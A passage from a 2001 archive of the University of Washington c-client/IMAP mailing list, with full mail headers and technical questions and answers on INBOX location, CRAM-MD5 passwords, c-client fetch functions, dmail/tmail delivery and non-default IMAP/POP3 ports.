~username/INBOX. I've experimented with tmail and it will > deliver to ~username/mail/INBOX with no problem. (a) Is there a way to make > imapd see this alternative location for the INBOX, or (b) Is there a way to > get the MBX mailbox to /var/spool/mail/username? or (c) Tell imapd that the > users home directory is /export/home/username/mail rather than > /export/home/username? > > My concern is that most of my users are PC based and they share their UNIX > home directory with their PC accounts. I can just see them opening the > INBOX file in MS Word and wrecking it. How about a totally separate home > directory when looking from the mail system? For example, > /export/home/username is their home directory, and /private/home/username is > their home directory as far as the IMAP system is concerned. > > Thanks for any help > > Mark > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ -- Terry Davis Systems Administrator BirdDog Solutions, Inc. (402) 829-6059 www.birddog.com --------------1C8ABDBBA3C81BADD742319F-- From pinedev@shivax2.cac.washington.edu Thu Jul 19 08:34:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Jul 2001 08:34:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6JFYMD27093 for ; Thu, 19 Jul 2001 08:34:22 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 19 08:34:21 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JFYLu09849; Thu, 19 Jul 2001 08:34:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6JFUFE23628; Thu, 19 Jul 2001 08:30:15 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JFPt059450 for ; Thu, 19 Jul 2001 08:25:55 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JFPtF04687 for ; Thu, 19 Jul 2001 08:25:55 -0700 Received: from smtp.adc.com (smtp.adc.com [155.226.10.207]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JFPrC21812 for ; Thu, 19 Jul 2001 08:25:53 -0700 Received: from mplsgtwy01.adc.com (localhost [127.0.0.1]) by smtp.adc.com (8.11.1/8.11.1) with ESMTP id f6JFPcR02485 for ; Thu, 19 Jul 2001 10:25:46 -0500 (CDT) Received: by mplsgtwy01.adc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 19 Jul 2001 10:22:47 -0500 Message-Id: <7CCFE4D68E4FD511884100508BF9B5C694E39B@mn02exch05.adc.com> Date: Wed, 18 Jul 2001 18:02:35 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hullatti, Manjula" To: "'c-client@CAC.Washington.EDU'" Subject: Error check for mail_fetchsubject and mail_search_full MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, As the mail functions mail_fetchsubject and mail_search_full do not return the status(success/failure), how do I check that the execution was successful ? Regards, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 19 11:13:35 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Jul 2001 11:13:33 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6JIDWD08444 for ; Thu, 19 Jul 2001 11:13:32 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 19 11:13:31 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JIDVC28257; Thu, 19 Jul 2001 11:13:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6JI7Up26588; Thu, 19 Jul 2001 11:07:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JI2q0121240 for ; Thu, 19 Jul 2001 11:02:52 -0700 Received: from monet.etfal.g12.br (IDENT:root@[200.133.126.2]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6JI2nX16706 for ; Thu, 19 Jul 2001 11:02:50 -0700 Received: (from nobody@localhost) by monet.etfal.g12.br (8.11.1/8.8.7) id f6JHstQ12251 for c-client@u.washington.edu; Thu, 19 Jul 2001 14:54:55 -0300 Message-Id: <995565295.3b571eef75cf7@www.etfal.g12.br> Date: Thu, 19 Jul 2001 14:54:55 -0300 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: redd@cefet-al.br To: c-client@u.washington.edu Subject: How to install IMAP MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Authentication-Warning: monet.etfal.g12.br: nobody set sender to redd@etfal.g12.br using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi everybody... I downloaded the imapd-bin.hpux10 but I'd like to know how to install? Is this a depot file or what? Leandro. ----------------------------------------------------- Mensagem enviada pelo servidor de Webmail do CEFET-AL -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 20 11:56:08 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Jul 2001 11:56:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6KIu7D29395 for ; Fri, 20 Jul 2001 11:56:07 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jul 20 11:56:06 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6KIu5u23605; Fri, 20 Jul 2001 11:56:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6KIrUE28622; Fri, 20 Jul 2001 11:53:30 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6KIor040090 for ; Fri, 20 Jul 2001 11:50:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tonym@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6KIors30371 for ; Fri, 20 Jul 2001 11:50:53 -0700 Message-Id: Date: Fri, 20 Jul 2001 11:49:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Joseph Pingenot Cc: c-client@u.washington.edu Subject: re: CRAM-MD5 password database supplanting /etc/password's password In-Reply-To: <20010714172545.B13415@ksu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 14 Jul 2001 17:25:46 -0500, Joseph Pingenot wrote: > Reading through the documentation for imapd, it seems that, if the > CRAM-MD5 password database exists, then the passwords for LOGIN also > are taken from this (experimental evidence confirms this). Is there > an easy way to have LOGIN use the passwords from /etc/password (or > preferably from PAM), and at the same time have the CRAM-MD5 > authentcation use /etc/cram-md5.pwd? No, there isn't, and this is intentional. Otherwise, a user would have two passwords, and he wouldn't know which one to enter when his client prompts him for it. It used to be the other way, and caused terrible confusion. From pinedev@shivax2.cac.washington.edu Fri Jul 20 20:08:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Jul 2001 20:08:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6L38CD15299 for ; Fri, 20 Jul 2001 20:08:12 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jul 20 20:08:11 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6L38Au05898; Fri, 20 Jul 2001 20:08:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6L35UH09804; Fri, 20 Jul 2001 20:05:30 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6L33v0105170 for ; Fri, 20 Jul 2001 20:03:57 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6L33vF17613 for ; Fri, 20 Jul 2001 20:03:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6L33vC18039 for ; Fri, 20 Jul 2001 20:03:57 -0700 Message-Id: Date: Fri, 20 Jul 2001 20:01:37 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Hullatti, Manjula" Cc: "'c-client@CAC.Washington.EDU'" Subject: re: Error check for mail_fetchsubject and mail_search_full In-Reply-To: <7CCFE4D68E4FD511884100508BF9B5C694E39B@mn02exch05.adc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 18 Jul 2001 18:02:35 -0500, Hullatti, Manjula wrote: > As the mail functions mail_fetchsubject and mail_search_full do not > return the status(success/failure), how do I check that the execution was > successful ? The only possible failure of either of these functions is "TCP connection to server lost", which will be returned to you via an mm_notify() event with BYE status. From pinedev@shivax2.cac.washington.edu Sat Jul 21 19:03:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Jul 2001 19:03:26 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6M23PD14361 for ; Sat, 21 Jul 2001 19:03:26 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Jul 21 19:03:24 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M23OC10155; Sat, 21 Jul 2001 19:03:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6M20oE10384; Sat, 21 Jul 2001 19:00:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M1x8007126 for ; Sat, 21 Jul 2001 18:59:08 -0700 Received: from areca.wanadoo.fr (smtp-rt-4.wanadoo.fr [193.252.19.156]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M1x7K22881 for ; Sat, 21 Jul 2001 18:59:07 -0700 Received: from villosa.wanadoo.fr (193.252.19.122) by areca.wanadoo.fr; 22 Jul 2001 03:59:03 +0200 Received: from sunset (193.253.235.144) by villosa.wanadoo.fr; 22 Jul 2001 03:59:02 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 15O8WL-0000TP-00 for ; Sun, 22 Jul 2001 03:59:01 +0200 Message-Id: Date: Sun, 22 Jul 2001 03:59:06 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: mail_fetch_structure for many messages at once? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I have inherited the following code which gets the header info for some messages: ... build the right sequence string ... mail_uid_sequence(stream, sequence); for ( MsgnoType i = msgnoFrom; i <= msgnoTo; i++ ) { MESSAGECACHE *elt = mail_elt(stream, i); if ( !elt->sequence ) { continue; } ENVELOPE *env = mail_fetch_structure(stream, i, NIL, NIL); if ( !env ) { FAIL( "failed to get sequence element envelope?" ); continue; } ... do something with header info ... } It works fine but the problem with it is that it sends one FETCH command to the (IMAP) server per each message. Is there any way to tell c-client to send one "FETCH sequence"? Note that I can't use mail_fetch_overview() here because I need more headers than OVERVIEW struct has. So is there a more efficient (in terms of minimizing the bandwidth) way to do it? Thank you, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 21 20:19:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 21 Jul 2001 20:19:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6M3JbD19504 for ; Sat, 21 Jul 2001 20:19:37 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Jul 21 20:19:37 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M3JaC11357; Sat, 21 Jul 2001 20:19:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6M3HrE29042; Sat, 21 Jul 2001 20:17:53 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M3GZ030478 for ; Sat, 21 Jul 2001 20:16:39 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6M3GYs01766 for ; Sat, 21 Jul 2001 20:16:35 -0700 Received: from kidwin98 (vpn41.birddog.com [10.10.4.1] (may be forged)) by hermes.birddog.com (8.11.4/8.11.4) with SMTP id f6M3Ga602974 for ; Sat, 21 Jul 2001 22:16:36 -0500 Message-Id: Date: Sat, 21 Jul 2001 22:18:59 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tery Davis" To: Subject: dmail/tmail MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Scanned-By: MIMEDefang 1.3 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Let me get this straight. I use procmail for delivery rules as it sits right now. I would like to deliver mail to mbx-compliant inboxes without changing the procmail functions. I must use dmail for this, correct? Anyone have any suggestions or hints on this? Thank you! Terry -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 24 04:39:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Jul 2001 04:39:45 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6OBdiD28721 for ; Tue, 24 Jul 2001 04:39:44 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jul 24 04:39:43 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6OBdgu10822; Tue, 24 Jul 2001 04:39:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6OBbGE17574; Tue, 24 Jul 2001 04:37:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6OBYD051462 for ; Tue, 24 Jul 2001 04:34:13 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6OBYBK27100 for ; Tue, 24 Jul 2001 04:34:12 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.11.4/8.11.4) with ESMTP id f6OBY6J37778; Tue, 24 Jul 2001 14:34:06 +0300 (EEST) Received: (from george@localhost) by dblab.ece.ntua.gr (8.11.4/8.11.4) id f6OBY5480305; Tue, 24 Jul 2001 14:34:05 +0300 (EEST) (envelope-from adamo) Message-Id: <20010724143405.A80283@dblab.ece.ntua.gr> Date: Tue, 24 Jul 2001 14:34:05 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Tery Davis Cc: c-client@u.washington.edu Subject: Re: dmail/tmail In-Reply-To: ; from tdavis@birddog.com on Sat, Jul 21, 2001 at 10:18:59PM -0500 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, Jul 21, 2001 at 10:18:59PM -0500, Tery Davis wrote: > Anyone have any suggestions or hints on this? http://carumba.com/imap/ From pinedev@shivax2.cac.washington.edu Thu Jul 26 15:40:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jul 2001 15:40:38 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QMeaD00048 for ; Thu, 26 Jul 2001 15:40:37 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 26 15:40:36 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QMeYC06346; Thu, 26 Jul 2001 15:40:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QMclE28682; Thu, 26 Jul 2001 15:38:47 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QMaF0130402 for ; Thu, 26 Jul 2001 15:36:16 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QMaFF06763 for ; Thu, 26 Jul 2001 15:36:15 -0700 Received: from smtp.adc.com (smtp.adc.com [155.226.10.207]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QMaFu27492 for ; Thu, 26 Jul 2001 15:36:15 -0700 Received: from mplsgtwy01.adc.com (localhost [127.0.0.1]) by smtp.adc.com (8.11.1/8.11.1) with ESMTP id f6QMZxh01828 for ; Thu, 26 Jul 2001 17:36:07 -0500 (CDT) Received: by mplsgtwy01.adc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Jul 2001 17:35:59 -0500 Message-Id: <7CCFE4D68E4FD511884100508BF9B5C694E3B4@mn02exch05.adc.com> Date: Thu, 26 Jul 2001 17:35:56 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hullatti, Manjula" To: "'c-client@CAC.Washington.EDU'" Subject: Setting IMAP/POP3 ports MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, This is about setting the IMAP/POP3 ports if they are running on ports otherthan 143/110. I understand that using mail_parameters function with SET_IMAPPORT and SET_POP3PORT, it can be achived. But I don't know how to use it because it takes MAILSTREAM which is got by mail_open. And when I do mail_open without any port numer, its defaulted to 143 and IMAP connection is opened. Regards, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 26 16:40:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jul 2001 16:40:46 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QNeiD03929 for ; Thu, 26 Jul 2001 16:40:44 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 26 16:40:43 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNeeC08708; Thu, 26 Jul 2001 16:40:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QNcXp21376; Thu, 26 Jul 2001 16:38:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNbm030964 for ; Thu, 26 Jul 2001 16:37:48 -0700 Received: from anagyris.wanadoo.fr (smtp-rt-1.wanadoo.fr [193.252.19.151]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNblX30333 for ; Thu, 26 Jul 2001 16:37:48 -0700 Received: from citronier.wanadoo.fr (193.252.19.222) by anagyris.wanadoo.fr; 27 Jul 2001 01:37:44 +0200 Received: from sunset (193.251.4.140) by citronier.wanadoo.fr; 27 Jul 2001 01:37:34 +0200 Received: from aurora ([192.168.17.17]) by sunset with esmtp (Exim 3.12 #1 (Debian)) id 15PuhB-0001mp-00; Fri, 27 Jul 2001 01:37:33 +0200 Message-Id: Date: Fri, 27 Jul 2001 01:37:39 +0200 (Romance Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu, "Hullatti, Manjula" Subject: Re: Setting IMAP/POP3 ports In-Reply-To: <7CCFE4D68E4FD511884100508BF9B5C694E3B4@mn02exch05.adc.com> References: <7CCFE4D68E4FD511884100508BF9B5C694E3B4@mn02exch05.adc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Jul 2001 17:35:56 -0500 "Hullatti, Manjula" wrote: HM> I understand that using mail_parameters function with SET_IMAPPORT HM> and SET_POP3PORT, it can be achived. But I don't know how to use it HM> because it takes MAILSTREAM which is got by mail_open. I think you can call it with NULL MAILSTREAM. However it changes the default IMAP port number which doesn't seem very useful and is probably not what you need. HM> And when I do mail_open without any port numer, its defaulted to 143 HM> and IMAP connection is opened. You can just append the port number to the hostname: "imap.some.where:10143" HTH, VZ From pinedev@shivax2.cac.washington.edu Thu Jul 26 16:48:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jul 2001 16:48:15 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QNmED17069 for ; Thu, 26 Jul 2001 16:48:14 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 26 16:48:14 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNmCu30173; Thu, 26 Jul 2001 16:48:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6QNkJp10648; Thu, 26 Jul 2001 16:46:20 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNjo032382 for ; Thu, 26 Jul 2001 16:45:50 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNjns26940 for ; Thu, 26 Jul 2001 16:45:49 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNjnC08900 for ; Thu, 26 Jul 2001 16:45:49 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNjno30463; Thu, 26 Jul 2001 16:45:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (bqt@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6QNjni16420; Thu, 26 Jul 2001 16:45:49 -0700 Message-Id: Date: Thu, 26 Jul 2001 16:45:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Hullatti, Manjula" Cc: "'c-client@CAC.Washington.EDU'" Subject: re: Setting IMAP/POP3 ports In-Reply-To: <7CCFE4D68E4FD511884100508BF9B5C694E3B4@mn02exch05.adc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Jul 2001 17:35:56 -0500, Hullatti, Manjula wrote: > This is about setting the IMAP/POP3 ports if they are running on ports > otherthan > 143/110. I understand that using mail_parameters function with SET_IMAPPORT > and SET_POP3PORT, it can be achived. But I don't know how to use it because > it takes MAILSTREAM which is got by mail_open. It is permitted for the stream argument to be NIL for SET_IMAPPORT and SET_POP3PORT. From pinedev@shivax2.cac.washington.edu Fri Jul 27 06:42:15 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jul 2001 06:42:14 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6RDSND01118 for ; Fri, 27 Jul 2001 06:28:52 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY 